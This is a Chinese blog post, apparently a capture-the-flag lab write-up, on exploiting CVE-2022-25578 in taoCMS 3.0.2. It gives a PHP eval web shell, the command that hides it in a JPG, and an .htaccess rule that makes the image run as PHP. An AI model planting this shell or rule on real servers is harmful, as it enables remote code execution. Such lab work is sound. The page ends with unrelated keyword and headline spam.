taocms 代码注入 （CVE-2022-25578）

最新推荐文章于 2024-01-11 17:18:48 发布
凯凯_0523 最新推荐文章于 2024-01-11 17:18:48 发布
阅读量785 收藏 1
点赞数
文章标签： 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接： https://blog.csdn.net/weixin_57567689/article/details/127453076
版权

名称：taocms 代码注入 （CVE-2022-25578）

描述：taoCMS是基于php+sqlite/mysql的国内最小（100Kb左右）的功能完善的CMS管理系统.体积小（仅180Kb）速度快，包含文件管理、数据采集、Memcache整合、用户管理等强大功能。

taocms v3.0.2 允许攻击者通过任意编辑.htaccess 文件来执行代码注入。

步骤1

网站搭建

点击{本站管理后台}

步骤2

查看并修改{.htaccess}

注：

htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

步骤3

<?POST @eval($_POST['cmd']);?>

生成一个图片马

copy 1.jpg/b+123.php/a shell.jpg

步骤4

将图片马写入{.htaccess}进行覆盖

<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

步骤5

上传图片马

步骤6

访问上传的图片马

步骤7

使用蚁剑链接，得到flag

凯凯_0523
关注 关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
春秋云境靶场CVE-2022-25578漏洞复现(利用htaccess文件进行任意文件上传)
zyh1588的博客
11-15 979
小白复现CVE-2022-25578漏洞
CVE-2022-25578
qq_53768710的博客
03-04 351
CVE-2022-25578 taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
春秋云境：CVE-2022-25578
一只爱吃橙子的羊
11-30 1406
taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
taoCMS 任意文件上传（CVE-2022-23880）
weixin_68999845的博客
08-16 759
Taocms v3.0.2 版本存在安全漏洞，该漏洞源于 taoCMS v3.0.2 File Management 模块存在任意文件上传漏洞。2.点击文件管理，在方框中设置文件名称**(不可点击“上传功能”，此功能会访问本地文件，该部分做了文件类型过滤，无法上传php文件)**1.进入后台（/taocms/admin/admin.php?第96行语句存在任意文件的创建（正常对的业务功能是不允许上传php文件的，但新建功能未对文件后缀做任何处理）Taocms是中国的一个微型 Cms（内容管理系统）。
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version 3.1.1版本 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： ...
CVE-2022-22963 复现Demo
04-14
CVE-2022-22963 复现Demo，A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application ...
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
05-05
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
CVE-2022-22965 GUItools单个图形化利用工具
04-06
CVE-2010-1622中曾出现由于参数自动绑定机制导致的问题， 此前通过黑名单的方式修复了该漏洞，但是 JDK9之后引入了 Module，使得可以通过 getModule 绕过前者的黑名单限制，最后导致远程代码执行。
taoCMS 2.5 Beta5
04-30
taoCMS是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统，是国内最小的功能完善的基于php+SQLite/Mysql的CMS。体积小（仅100Kb）速度快，包含文件管理、数据采集等强大功能，代码手写采用严格的数据过滤，保证服务器的安全稳定！ taoCMS 2.5 Beta5 更新记录： 1、增加远程图片自动下载到本地服务器功能(感谢chengke) 2、支持安装在百度云服务BAE上 3、富文本编辑器xheditor升级到最新版(感谢xiaoniba) 4、增加缓存文件验证，防止直接访问缓存文件 5、安全加固，修复几个安全漏洞（感谢混世魔王和wooyun平台） 6、修复wap留言无法显示的BUG 7、调整跳转进度显示方式 8、改进安装提示 9、评论后台增加分页功能（感谢xiaoniba） 10、后台首页增加通知功能，便于发布紧急更新提示 11、后台首页增加捐赠连接，有你支持，我会更努力！ 12、默认使用xheditor编辑器，不再单独提供精简版 13、在BAE/SAE等云服务器修改模板无需在本地生成缓存 14、修正sqlite的一个特殊字符写入失败错误(感谢Ethan) 15、修复安全问题，感谢shack2、kobin97、yy520 【使用方法】 上传程序到服务器，通过网址访问http://网站地址/intall.php,程序会自动提示权限问题，按照要求更改即可。 1、使用sqlite数据库： 请在数据库类型那里选sqlite，填写数据库文件所在地址和数据表前缀即可 2、使用mysql数据库 安装mysql数据库，请在数据库类型那里选mysql，数据库存放地址添写“|数据库地址|用户名|密码|数据库名”,例如“|localhost|root|root|taocms”，不包括双引号）。 安装完毕，建议删除install.php文件。 3、【登录后台（默认用户名admin密码tao），设定taocms所在的网址】 附带提供一套blog模板，参照www.taocms.org。 【2.4到2.5升级方法】 备份data目录、pictures目录、template目录，进入后台综合设置-导入导出，备份所有文章数据（目前评论无法导入2.5系统），安装2.5版，将备份文件导入2.5即可（请做好数据备份，如有异常，请到taoCMS官网论反映）。 【版权声明】 taoCMS为开源PHP系统，使用者需声明系统版权
世界上最小的cms（1）
12-06
世界上最小的cms（1） cms原理 简单的cms
春秋云镜 CVE-2022-25411
qq_22002773的博客
07-04 449
春秋云镜 CVE-2022-25578
春秋云镜 CVE-2022-25578
qq_22002773的博客
06-30 207
春秋云镜 CVE-2022-25578
【春秋云境】CVE-2022-25578
ZXW_NUDT的博客
02-22 2492
【春秋云境】CVE-2022-25578
Taocms 代码注入漏洞（CVE-2022-25578）
千寻的博客
12-01 1687
taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
[春秋云境.com] CVE-2022-25578 快速查找flag
BG_ONE的博客
02-11 182
[春秋云境.com] CVE-2022-25578
TAOCMS文件上传
最新发布
Dokii_i的博客
01-11 999
TAOCMS是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统，是国内最小的功能完善 的基于php+SQLite/Mysql的CMS。体积小（仅180Kb）速度快，包含文件管理、数据采集、 Memcache整 合、用户管理等强大功能，跨平台运行，支持SAE、BAE云服务。兼容PHP5和PHP7.代码 手写采用严格的数据过滤，保证服务器的安全稳定！

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
写文章

热门文章

  • DHCP服务搭建 4014
  • Centos中QQ的安装 3742
  • HTTPS的搭建 3260
  • 在winserver08(R2)上部署IIS并搭建ASP站点 2172
  • 内网代理的系列二：frp(socks5)+Proxifier 1977

最新评论

  • Centos中QQ的安装

    yuYux_yu: 版本太低，没有用

  • Beef在kali系统中安装出现问题如何解决

    weixin_47115176: 谢了哥们

  • Beef在kali系统中安装出现问题如何解决

    ゛浅时光 -: 解决2 里面是 apt-get install ruby吧

  • 环境变量的配置与虚拟软件的搭建以及系统的如何安装

    CSDN-Ada助手: CS入门 技能树或许可以帮到你：https://edu.csdn.net/skill/gml?utm_source=AI_act_gml

大家在看

  • ARM功耗管理软件之WFI&WFE
  • 理解C++虚函数和虚表(vtbl)机制 393
  • 基于Java新闻推荐系统的设计与实现【源码】 367
  • 自然语言处理:机器翻译的原理以及应用编码器—解码器和注意力机制实现基于GRU和Transformer的机器翻译
  • Java学习 - 网络IP协议簇 讲解 114

最新文章

  • 内网代理的系列二：frp(socks5)+Proxifier
  • 内网代理的搭建系列一：frp(TCP协议)
  • 一次简单的NAT内网测试
2023年4篇
2022年32篇

目录

目录

评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值

装修网墙饰装饰公司家装软装饰南京公装网精装装修怎么样昆明24城装饰公司怎么样成都毛坯房简装公司简装版北海大木源装饰公司怎么样厨房装修简装工装装饰装饰精装修房子设计店铺的装修格局装修装饰有限公司200平米装修全包价格简装多久可以入住恩施简装装修价格表餐饮绿植装修成都装修家庭财务窗口装修图片装饰装饰的公装工程公装公司工装家装招标网公司装修排名榜住宅卫生间装修简约茶楼最新装修简美装修效果图100平方装修工钱多少钱专业公装设计简装纯粮食酒推荐香港通过《维护国家安全条例》两大学生合买彩票中奖一人不认账让美丽中国“从细节出发”19岁小伙救下5人后溺亡 多方发声汪小菲曝离婚始末卫健委通报少年有偿捐血浆16次猝死单亲妈妈陷入热恋 14岁儿子报警雅江山火三名扑火人员牺牲系谣言手机成瘾是影响睡眠质量重要因素男子被猫抓伤后确诊“猫抓病”中国拥有亿元资产的家庭达13.3万户高校汽车撞人致3死16伤 司机系学生315晚会后胖东来又人满为患了男孩8年未见母亲被告知被遗忘张家界的山上“长”满了韩国人？倪萍分享减重40斤方法许家印被限制高消费网友洛杉矶偶遇贾玲何赛飞追着代拍打小米汽车超级工厂正式揭幕男子被流浪猫绊倒 投喂者赔24万沉迷短剧的人就像掉进了杀猪盘特朗普无法缴纳4.54亿美元罚金周杰伦一审败诉网易杨倩无缘巴黎奥运专访95后高颜值猪保姆德国打算提及普京时仅用姓名西双版纳热带植物园回应蜉蝣大爆发七年后宇文玥被薅头发捞上岸房客欠租失踪 房东直发愁“重生之我在北大当嫡校长”校方回应护栏损坏小学生课间坠楼当地回应沈阳致3死车祸车主疑毒驾事业单位女子向同事水杯投不明物质路边卖淀粉肠阿姨主动出示声明书黑马情侣提车了奥巴马现身唐宁街 黑色着装引猜测老人退休金被冒领16年 金额超20万张立群任西安交通大学校长王树国卸任西安交大校长 师生送别西藏招商引资投资者子女可当地高考胖东来员工每周单休无小长假兔狲“狲大娘”因病死亡外国人感慨凌晨的中国很安全恒大被罚41.75亿到底怎么缴考生莫言也上北大硕士复试名单了专家建议不必谈骨泥色变“开封王婆”爆火：促成四五十对测试车高速逃费 小米：已补缴天水麻辣烫把捣辣椒大爷累坏了

装修网 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化